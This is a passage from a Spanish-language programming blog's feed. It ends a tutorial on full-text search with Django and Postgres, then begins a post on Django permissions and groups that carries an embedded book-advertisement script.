style=&#34;color:#ff9f43&#34;&gt;7&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;fli&amp;#39;&lt;/span&gt;:&lt;span style=&#34;color:#ff9f43&#34;&gt;6&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;reveng&amp;#39;&lt;/span&gt;:&lt;span style=&#34;color:#ff9f43&#34;&gt;3&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;spongebob&amp;#39;&lt;/span&gt;:&lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;squarep&amp;#39;&lt;/span&gt;:&lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Observa como se eliminaron los artículos y preposiciones (of y the) y como SquarePants se transformó en squarep, Revenge en reveng y flying en fli.&lt;/p&gt;&#xA;&lt;p&gt;Así mismo, aprecia como especificamos el idioma. Postgres debe recibir el idioma correcto para identificar los lexemas y las proposiciones.&lt;/p&gt;&#xA;&lt;p&gt;Por otro lado, la función &lt;em&gt;plainto_tsquery&lt;/em&gt; transforma su argumento a un &lt;em&gt;tsquery&lt;/em&gt;, que es la representación de las palabras de una frase de manera booleana.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/full-text-search-and-searches-with-django-and-postgres/images/tsquery-postgres.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/full-text-search-and-searches-with-django-and-postgres/images/tsquery-postgres.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Transformación de una cadena de texto en un tsquery en Postgres&#34; width=&#34;1200&#34; height=&#34;630&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-sql&#34; data-lang=&#34;sql&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;SELECT&lt;/span&gt; plainto_tsquery(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;english&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;dutchman revenge&amp;#39;&lt;/span&gt;);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    plainto_tsquery    &lt;span style=&#34;color:#ff6ac1&#34;&gt;-&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;----------------------&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;dutchman&amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;amp;&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;reveng&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;¿Notaste que &lt;em&gt;revenge&lt;/em&gt; se transformó en &lt;em&gt;reveng&lt;/em&gt;?&lt;/p&gt;&#xA;&lt;p&gt;Una vez que &lt;em&gt;search&lt;/em&gt; tiene los resultados de cada función los compara para ver si coinciden o no.&lt;/p&gt;&#xA;&lt;p&gt;De esta manera nuestra búsqueda será mucho más flexible y ya no será necesario que el usuario busque una cadena exacta de texto para poder devolverle los resultados que queremos.&lt;/p&gt;&#xA;&lt;h3 id=&#34;busqueda-de-texto-en-multiples-campos-de-un-modelo-de-django&#34;&gt;Búsqueda de texto en múltiples campos de un modelo de Django&lt;/h3&gt;&#xA;&lt;p&gt;Buscar en un solo campo es bastante limitante, por lo que podemos usar &lt;em&gt;SearchVector&lt;/em&gt; para buscar en múltiples campos, incluso en relaciones de llave foránea.&lt;/p&gt;&#xA;&lt;p&gt;Basta con separar los nombres de los campos usando comas.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.contrib.postgres.search &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; SearchVector&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Videogame&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;annotate(&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;     search&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;SearchVector(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;name&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;description&amp;#39;&lt;/span&gt;),&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; )&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;filter(search&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;Nier&amp;#39;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Así mismo, los objetos SearchVector pueden combinarse para una mejor legibilidad&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.contrib.postgres.search &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; SearchVector&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Videogame&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;annotate(&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;     search&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;SearchVector(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;name&amp;#39;&lt;/span&gt;) &lt;span style=&#34;color:#ff6ac1&#34;&gt;+&lt;/span&gt; SearchVector(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;description&amp;#39;&lt;/span&gt;),&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; )&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;filter(search&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;Nier&amp;#39;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;¿Te acuerdas que te dije que los lexemas y las proposiciones variaban según el idioma? Pues en el parámetro &lt;em&gt;config&lt;/em&gt; podemos especificar el idioma sobre el cual queremos que postgres trabaje para esa consulta.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.contrib.postgres.search &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; SearchVector&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.db &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; F&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Videogame&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;annotate(&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;     search&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;SearchVector(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;name&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;description&amp;#39;&lt;/span&gt;, config&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;F(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;blog__language&amp;#39;&lt;/span&gt;)), &lt;span style=&#34;color:#78787e&#34;&gt;# config = &amp;#39;spanish&amp;#39; también valia&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; )&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;filter(search&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;Nier&amp;#39;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;elegir-el-idioma-adecuado-para-sus-busquedas-vectoriales&#34;&gt;Elegir el idioma adecuado para sus búsquedas vectoriales&lt;/h3&gt;&#xA;&lt;p&gt;El idioma por defecto para cada búsqueda puede especificarse mediante la siguiente consulta SQL:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;show default_text_search_config;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;set&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;default_text_search_config&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;pg_catalog.&amp;lt;language&amp;gt;&amp;#39;&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;usar-busqueda-web-tipo-websearch_to_tsquery&#34;&gt;Usar búsqueda web tipo websearch_to_tsquery&lt;/h3&gt;&#xA;&lt;p&gt;Existe una versión alternativa llamada &lt;em&gt;websearch_to_tsquery&lt;/em&gt; que está especializada en búsquedas web y puede crear combinaciones complejas como consultas que utilizan múltiples palabras clave &amp;lsquo;and&amp;rsquo; y &amp;lsquo;or&amp;rsquo;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.contrib.postgres.search &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; SearchQuery&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;SearchQuery(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;&amp;#39;&amp;lt;term&amp;gt;&amp;#39; (&amp;#39;&amp;lt;term&amp;gt;&amp;#39; OR &amp;#39;&amp;lt;term&amp;gt;&amp;#39;)&amp;#34;&lt;/span&gt;, search_type&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;websearch&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;repetir-las-llamadas-a-to_tsvector-es-ineficiente&#34;&gt;Repetir las llamadas a to_tsvector es ineficiente&lt;/h2&gt;&#xA;&lt;p&gt;Observa que cada vez que realizamos una consulta usando el ORM de Django, se ejecuta la función &lt;em&gt;to_tsvector&lt;/em&gt; en el campo que nosotros le especifiquemos, pero ¿y si el campo de nuestro modelo contiene muchísima información? &lt;strong&gt;La función va a ejecutarse con cada búsqueda y va a devolver el mismo resultado una y otra vez&lt;/strong&gt;, multiplica eso por el número de registros. ¿No es un poco ineficiente? Pues sí, afortunadamente, los desarrolladores de Django ya pensaron en eso.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.db &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; models&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.contrib.postgres.search &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; SearchVectorField&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;Videogame&lt;/span&gt;(models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;Model):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    name &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;CharField(max_length&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;256&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    created &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;DateTimeField(auto_now_add&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;True&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    modified &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;DateTimeField(auto_now&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;True&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    search_vector &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; SearchVectorField(blank&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;True&lt;/span&gt;, null&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;True&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;__str__&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;name&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Este nuevo campo es como un campo cualquiera, al principio no tiene nada y podemos ponerle lo que sea, aunque probablemente querramos que contenga el vector de uno de los campos de nuestro modelo. Pero Django no lo hará automático, es responsabilidad nuestra mantenerlo actualizado con el contenido que nos convenga, ya sea sobreescribiendo el método &lt;em&gt;save&lt;/em&gt;, usando &lt;em&gt;signals&lt;/em&gt;, tareas periódicas, &lt;em&gt;celery&lt;/em&gt; o cualquier aproximación que prefieras.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.contrib.postgres.search &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; SearchVector&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Videogame&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;update(search_vector&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;SearchVector(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;name&amp;#39;&lt;/span&gt;))&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Videogame&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;filter(search_vector&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;revenge&amp;#39;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Si te interesa profundizar más respecto a como maneja Postgres internamente estas funciones, encontré un excelente artículo sobre &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://blog.kaleidos.net/como-usar-busqueda-de-texto-en-postgresql/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;búsqueda de texto en postgresql usando SQL&lt;/a&gt;&#xA; donde explican en código SQL los vectores de búsqueda.&lt;/p&gt;&#xA;&lt;p&gt;Entra mi siguiente entrada donde hablaré de &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/django/trigramas-y-busquedas-avanzadas-con-django-y-postgres/&#34;&gt;búsquedas avanzadas con Postgres y Django.&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Django es un framework que abstrae la mayor parte del código que necesitas para realizar búsquedas de texto en Postgres, por lo que si estás pensando en un proyecto que requiera de un buscador, usar Django combinado con Postgres es una combinación a tomar en cuenta otra opción bastante popular para realizar búsquedas en Django es &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/django/busquedas-con-solr-con-django-haystack/&#34;&gt;Solr y Django-haystack&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;p&gt;Si aún estás dudando sobre si usar Django, revisa mi entrada donde te explico &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/django/por-que-deberias-usar-django-framework/&#34;&gt;las ventajas y desventajas de Django&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Si ya conoces como funcionan las búsquedas básicas y quieres pasar a búsquedas más complejas con trigramas visita mi entrada de &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/django/trigramas-y-busquedas-avanzadas-con-django-y-postgres/&#34;&gt;trigramas y búsquedas avanzadas con Django.&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;h2 id=&#34;fuentes-para-profundizar-sobre-full-text-search&#34;&gt;Fuentes para profundizar sobre full text search&lt;/h2&gt;&#xA;&lt;p&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://docs.djangoproject.com/en/5.1/ref/contrib/postgres/search/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Documentación de Django&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;Algunas veces cuando tecleamos nos equivocamos en una letra, podemos repetirla, omitirla o cambiarla por otra. Ese error puede arrojar una serie de resultados diferentes en una búsqueda web, o incluso carecer de resultados. Quizás para un blog no represente una amenaza, pero para un ecommerce puede significar la perdida de una venta, y para aquellas tiendas con un tráfico gigantesco, una búsqueda de texto exitosa, ya sea usando full text search o algo más complejo, en Django u otro framework, puede representar la diferencia entre perdidas o ganancias enormes.&lt;/p&gt;</summary>
    </item>
    
    
    <item>
      <title>¿Cómo funcionan los permisos y grupos en Django?</title>
      <link>https://coffeebytes.dev/es/django/como-funcionan-los-permisos-y-grupos-en-django/</link>
      <pubDate>Sat, 17 Apr 2021 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/es/django/como-funcionan-los-permisos-y-grupos-en-django/</guid>
      
      <category>django</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;La primera vez que me enteré de que Django tenía un sistema de permisos, hace ya muchos años, me pareció algo bastante esotérico, sin mucha utilidad y fácil de replicar, que equivocado estaba en aquel entonces. Después me di cuenta de que el sistema de permisos integrado era una maravilla y ahorraba muchísimo código, además de ser bastante sólido y puesto a prueba por algunas de las empresas más grandes del mundo.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;&#xA;  &#xA;    &lt;script&gt;&#xA;      (function() {&#xA;        var matchedAdsData = &#34;[{\&#34;description\&#34;:\&#34;Django 5 salió y todos los libros anteriores se volvieron obsoletos porque están usando versiones antiguas de django en sus ejemplos, este no lo es y cubre todas las características básicas de django que hacen de este framework una de las apuestas más estables, probadas en batalla y seguras a la hora de diseñar una aplicación web.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro Django for Beginners\&#34;,\&#34;imageSrc\&#34;:\&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1751669153/coffee-bytes/django-for-begginers_300_xqbdi2.webp\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/3Qx2pli\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de Django for Beginners y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;¿Dónde aprender Django Framework de manera profunda?\&#34;}]&#34;;&#xA;        &#xA;        function renderAds() {&#xA;          var rightPanel = document.getElementById(&#39;right-panel&#39;);&#xA;          if (!rightPanel) return;&#xA;&#xA;          &#xA;          var existingContainer = document.getElementById(&#39;ads-panels-container&#39;);&#xA;          if (existingContainer) {&#xA;            existingContainer.remove();&#xA;          }&#xA;&#xA;          var matchedAds = JSON.parse(matchedAdsData);&#xA;          &#xA;          if (!matchedAds || !Array.isArray(matchedAds) || matchedAds.length === 0) return;&#xA;          &#xA;          var container = document.createElement(&#39;div&#39;);&#xA;          container.id = &#39;ads-panels-container&#39;;&#xA;          container.className = &#39;ads-panels-sticky&#39;;&#xA;          rightPanel.appendChild(container);&#xA;          &#xA;          matchedAds.forEach(function(ad) {&#xA;            if (!ad || !ad.title) return;&#xA;            &#xA;            var panel = document.createElement(&#39;div&#39;);&#xA;            panel.className = &#39;ad-panel&#39;;&#xA;            panel.innerHTML = &#xA;              &#39;&lt;div class=&#34;ad-panel-content&#34;&gt;&#39; +&#xA;                &#39;&lt;img height=&#34;150px&#34; width=&#34;100px&#34; src=&#34;&#39; + ad.imageSrc + &#39;&#34; alt=&#34;&#39; + (ad.imageAlt || ad.title) + &#39;&#34; class=&#34;ad-book-image&#34; loading=&#34;lazy&#34; /&gt;&#39; +&#xA;                &#39;&lt;h4 class=&#34;ad-title&#34;&gt;&lt;strong&gt;&#39; + ad.title + &#39;&lt;/strong&gt;&lt;/h4&gt;&#39; +&#xA;                (ad.description ? &#39;&lt;p class=&#34;ad-description&#34;&gt;&#39; + ad.description + &#39;&lt;/p&gt;&#39; : &#39;&#39;) +&#xA;                (ad.link ? &#39;&lt;a href=&#34;&#39; + ad.link + &#39;&#34; target=&#34;_blank&#34; rel=&#34;sponsored nofollow&#34; class=&#34;ad-link-button&#34;&gt;&#39; + (ad.linkText || &#39;Learn More&#39;) + &#39;&lt;/a&gt;&#39; : &#39;&#39;) +&#xA;              &#39;&lt;/div&gt;&#39;;&#xA;            &#xA;            container.appendChild(panel);&#xA;          });&#xA;        }&#xA;&#xA;        &#xA;        document.addEventListener(&#39;DOMContentLoaded&#39;, renderAds);&#xA;        &#xA;        &#xA;        document.addEventListener(&#39;htmx:historyRestore&#39;, renderAds);&#xA;        document.addEventListener(&#39;htmx:afterSettle&#39;, renderAds);&#xA;      })();&#xA;    &lt;/script&gt;&#xA;  &#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .ads-panels-sticky {&#xA;    position: sticky;&#xA;    top: 100px;&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    gap: 16px;&#xA;    z-index: 10;&#xA;  }&#xA;&#xA;  .ad-panel {&#xA;    background: transparent;&#xA;    border-radius: 8px;&#xA;    padding: 16px 36px;&#xA;  }&#xA;&#xA;  .ad-panel:hover {&#xA;    transform: none;&#xA;  }&#xA;&#xA;  .ad-panel-content {&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    align-items: center;&#xA;    text-align: justify;&#xA;  }&#xA;&#xA;  .ad-book-image {&#xA;    width: 100px;&#xA;    height: auto;&#xA;    border-radius: 6px;&#xA;    margin-bottom: 10px;&#xA;    object-fit: cover;&#xA;  }&#xA;&#xA;  .ad-title {&#xA;    font-size: 0.9rem;&#xA;    font-weight: 600;&#xA;    margin: 0 0 6px 0;&#xA;    color: var(--secondary-text);&#xA;    line-height: 1.3;&#xA;  }&#xA;&#xA;  .ad-description {&#xA;    font-size: 0.75rem;&#xA;    color: var(--secondary-text);&#xA;    margin: 0 0 10px 0;&#xA;    line-height: 1.4;&#xA;    display: -webkit-box;&#xA;    -webkit-line-clamp: 2;&#xA;    -webkit-box-orient: vertical;&#xA;    overflow: hidden;&#xA;  }&#xA;&#xA;  .ad-link-button {&#xA;    display: inline-block;&#xA;    padding: 8px 12px;&#xA;    background: #ffa41c;&#xA;    color: #111;&#xA;    text-decoration: none;&#xA;    border-radius: 4px;&#xA;    font-size: 0.8rem;&#xA;    font-weight: 500;&#xA;    transition: background 0.2s ease, opacity 0.2s ease;&#xA;    width: 100%;&#xA;    box-sizing: 